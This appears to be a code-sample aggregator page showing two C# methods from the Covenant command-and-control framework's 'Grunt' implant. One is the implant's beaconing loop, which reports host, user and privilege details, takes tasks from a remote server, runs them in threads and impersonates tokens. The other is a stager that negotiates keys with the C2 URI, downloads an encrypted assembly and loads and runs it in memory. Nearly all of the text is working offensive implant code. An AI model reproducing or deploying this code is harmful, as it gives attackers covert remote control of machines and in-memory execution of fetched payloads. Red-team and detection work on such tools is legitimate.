Ejemplo n.º 1
0
        public static void Execute(string CovenantURI, string GUID, Aes SessionKey, TcpClient client)
        {
            try
            {
                int      Delay              = Convert.ToInt32(@"{{REPLACE_DELAY}}");
                int      Jitter             = Convert.ToInt32(@"{{REPLACE_JITTER_PERCENT}}");
                int      ConnectAttempts    = Convert.ToInt32(@"{{REPLACE_CONNECT_ATTEMPTS}}");
                DateTime KillDate           = DateTime.FromBinary(long.Parse(@"{{REPLACE_KILL_DATE}}"));
                string   ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string   ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");

                string Hostname  = Dns.GetHostName();
                string IPAddress = Dns.GetHostAddresses(Hostname)[0].ToString();
                foreach (IPAddress a in Dns.GetHostAddresses(Dns.GetHostName()))
                {
                    if (a.AddressFamily == System.Net.Sockets.AddressFamily.InterNetwork)
                    {
                        IPAddress = a.ToString();
                        break;
                    }
                }
                string OperatingSystem = Environment.OSVersion.ToString();
                string Process         = System.Diagnostics.Process.GetCurrentProcess().ProcessName;
                int    Integrity       = 2;
                if (Environment.UserName.ToLower() == "system")
                {
                    Integrity = 4;
                }
                else
                {
                    var identity = WindowsIdentity.GetCurrent();
                    if (identity.Owner != identity.User)
                    {
                        Integrity = 3;
                    }
                }
                string UserDomainName = Environment.UserDomainName;
                string UserName       = Environment.UserName;

                string          RegisterBody  = @"{ ""integrity"": " + Integrity + @", ""process"": """ + Process + @""", ""userDomainName"": """ + UserDomainName + @""", ""userName"": """ + UserName + @""", ""delay"": " + Convert.ToString(Delay) + @", ""jitter"": " + Convert.ToString(Jitter) + @", ""connectAttempts"": " + Convert.ToString(ConnectAttempts) + @", ""status"": 0, ""ipAddress"": """ + IPAddress + @""", ""hostname"": """ + Hostname + @""", ""operatingSystem"": """ + OperatingSystem + @""" }";
                BridgeMessenger baseMessenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
                baseMessenger.client = client;
                baseMessenger.stream = client.GetStream();
                TaskingMessenger messenger = new TaskingMessenger
                                             (
                    new MessageCrafter(GUID, SessionKey),
                    baseMessenger,
                    new Profile(ProfileWriteFormat, ProfileReadFormat, GUID)
                                             );
                messenger.WriteTaskingMessage(RegisterBody);
                messenger.SetAuthenticator(messenger.ReadTaskingMessage().Message);
                try
                {
                    // A blank upward write, this helps in some cases with an HTTP Proxy
                    messenger.WriteTaskingMessage("");
                }
                catch (Exception) { }
                List <KeyValuePair <string, Thread> > Tasks = new List <KeyValuePair <string, Thread> >();
                WindowsImpersonationContext           impersonationContext = null;
                Random rnd = new Random();
                int    ConnectAttemptCount = 0;
                bool   alive = true;
                while (alive)
                {
                    int change = rnd.Next((int)Math.Round(Delay * (Jitter / 100.00)));
                    if (rnd.Next(2) == 0)
                    {
                        change = -change;
                    }
                    Thread.Sleep((Delay + change) * 1000);
                    try
                    {
                        GruntTaskingMessage message = messenger.ReadTaskingMessage();
                        if (message == null)
                        {
                            ConnectAttemptCount++;
                        }
                        else
                        {
                            ConnectAttemptCount = 0;
                            string output = "";
                            if (message.Type == GruntTaskingType.SetDelay || message.Type == GruntTaskingType.SetJitter || message.Type == GruntTaskingType.SetConnectAttempts)
                            {
                                if (int.TryParse(message.Message, out int val))
                                {
                                    if (message.Type == GruntTaskingType.SetDelay)
                                    {
                                        Delay   = val;
                                        output += "Set Delay: " + Delay;
                                    }
                                    else if (message.Type == GruntTaskingType.SetJitter)
                                    {
                                        Jitter  = val;
                                        output += "Set Jitter: " + Jitter;
                                    }
                                    else if (message.Type == GruntTaskingType.SetConnectAttempts)
                                    {
                                        ConnectAttempts = val;
                                        output         += "Set ConnectAttempts: " + ConnectAttempts;
                                    }
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.SetKillDate)
                            {
                                if (DateTime.TryParse(message.Message, out DateTime date))
                                {
                                    KillDate = date;
                                    output  += "Set KillDate: " + KillDate.ToString();
                                }
                                else
                                {
                                    output += "Error parsing: " + message.Message;
                                }
                            }
                            else if (message.Type == GruntTaskingType.Exit)
                            {
                                output += "Exited";
                                messenger.WriteTaskingMessage(output, message.Name);
                                return;
                            }
                            else if (message.Type == GruntTaskingType.Tasks)
                            {
                                if (!Tasks.Where(J => J.Value.IsAlive).Any())
                                {
                                    output += "No active tasks!";
                                }
                                else
                                {
                                    output += "Task       Status" + Environment.NewLine;
                                    output += "----       ------" + Environment.NewLine;
                                    output += String.Join(Environment.NewLine, Tasks.Where(T => T.Value.IsAlive).Select(T => T.Key + " Active").ToArray());
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Type == GruntTaskingType.TaskKill)
                            {
                                var matched = Tasks.Where(T => T.Value.IsAlive && T.Key.ToLower() == message.Message.ToLower());
                                if (!matched.Any())
                                {
                                    output += "No task with name: " + message.Message;
                                }
                                else
                                {
                                    KeyValuePair <string, Thread> t = matched.First();
                                    t.Value.Abort();
                                    output += "Task: " + t.Key + " killed!";
                                }
                                messenger.WriteTaskingMessage(output, message.Name);
                            }
                            else if (message.Token)
                            {
                                if (impersonationContext != null)
                                {
                                    impersonationContext.Undo();
                                }
                                IntPtr impersonatedToken = IntPtr.Zero;
                                Thread t = new Thread(() => impersonatedToken = TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                                bool completed = t.Join(5000);
                                if (completed && impersonatedToken != IntPtr.Zero)
                                {
                                    try
                                    {
                                        WindowsIdentity identity = new WindowsIdentity(impersonatedToken);
                                        impersonationContext = identity.Impersonate();
                                    }
                                    catch (ArgumentException) { }
                                }
                                else
                                {
                                    impersonationContext = null;
                                }
                            }
                            else
                            {
                                Thread t = new Thread(() => TaskExecute(messenger, message));
                                t.Start();
                                Tasks.Add(new KeyValuePair <string, Thread>(message.Name, t));
                            }
                        }
                    }
                    catch (ObjectDisposedException e)
                    {
                        ConnectAttemptCount++;
                        messenger.WriteTaskingMessage("");
                    }
                    catch (Exception e)
                    {
                        ConnectAttemptCount++;
                        Console.Error.WriteLine("Loop Exception: " + e.GetType().ToString() + " " + e.Message + Environment.NewLine + e.StackTrace);
                    }
                    if (ConnectAttemptCount >= ConnectAttempts)
                    {
                        return;
                    }
                    if (KillDate.CompareTo(DateTime.Now) < 0)
                    {
                        return;
                    }
                }
            }
            catch (Exception e)
            {
                Console.Error.WriteLine("Outer Exception: " + e.Message + Environment.NewLine + e.StackTrace);
            }
        }
Ejemplo n.º 2
0
        public void ExecuteStager()
        {
            try
            {
                string CovenantURI        = @"{{REPLACE_COVENANT_URI}}";
                string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
                string ProfileReadFormat  = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");

                Random random        = new Random();
                string aGUID         = @"{{REPLACE_GRUNT_GUID}}";
                string GUID          = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
                byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
                string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";

                Aes SetupAESKey = Aes.Create();
                SetupAESKey.Mode    = CipherMode.CBC;
                SetupAESKey.Padding = PaddingMode.PKCS7;
                SetupAESKey.Key     = SetupKeyBytes;
                SetupAESKey.GenerateIV();
                HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
                RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());

                byte[] RSAPublicKeyBytes     = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
                byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
                byte[] hash       = hmac.ComputeHash(EncryptedRSAPublicKey);
                string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));

                string          transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
                BridgeMessenger messenger           = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
                messenger.Connect();
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage0Response = messenger.Read().Message;
                string extracted      = Parse(Stage0Response, ProfileReadFormat)[0];
                extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                List <string> parsed       = Parse(extracted, MessageFormat);
                string        iv64str      = parsed[3];
                string        message64str = parsed[4];
                string        hash64str    = parsed[5];
                byte[]        messageBytes = Convert.FromBase64String(message64str);

                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SetupAESKey.IV = Convert.FromBase64String(iv64str);
                byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] FullyDecrypted     = rsa.Decrypt(PartiallyDecrypted, true);

                Aes SessionKey = Aes.Create();
                SessionKey.Mode    = CipherMode.CBC;
                SessionKey.Padding = PaddingMode.PKCS7;
                SessionKey.Key     = FullyDecrypted;
                SessionKey.GenerateIV();
                hmac = new HMACSHA256(SessionKey.Key);
                byte[] challenge1         = new byte[4];
                RandomNumberGenerator rng = RandomNumberGenerator.Create();
                rng.GetBytes(challenge1);
                byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
                hash = hmac.ComputeHash(EncryptedChallenge1);

                string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
                string formatted = String.Format(ProfileWriteFormat, transformedResponse, GUID);
                messenger.Write(formatted);
                string Stage1Response = messenger.Read().Message;
                extracted    = Parse(Stage1Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);

                byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                byte[] challenge1Test      = new byte[4];
                byte[] challenge2          = new byte[4];
                Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
                Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
                if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
                {
                    return;
                }

                SessionKey.GenerateIV();
                byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
                hash = hmac.ComputeHash(EncryptedChallenge2);

                string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
                transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
                messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
                string Stage2Response = messenger.Read().Message;
                extracted    = Parse(Stage2Response, ProfileReadFormat)[0];
                extracted    = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
                parsed       = Parse(extracted, MessageFormat);
                iv64str      = parsed[3];
                message64str = parsed[4];
                hash64str    = parsed[5];
                messageBytes = Convert.FromBase64String(message64str);
                if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
                {
                    return;
                }
                SessionKey.IV = Convert.FromBase64String(iv64str);
                byte[]   DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
                Assembly gruntAssembly     = Assembly.Load(DecryptedAssembly);
                gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, GUID, SessionKey, messenger.client });
            }
            catch (Exception e) { Console.Error.WriteLine(e.Message); }
        }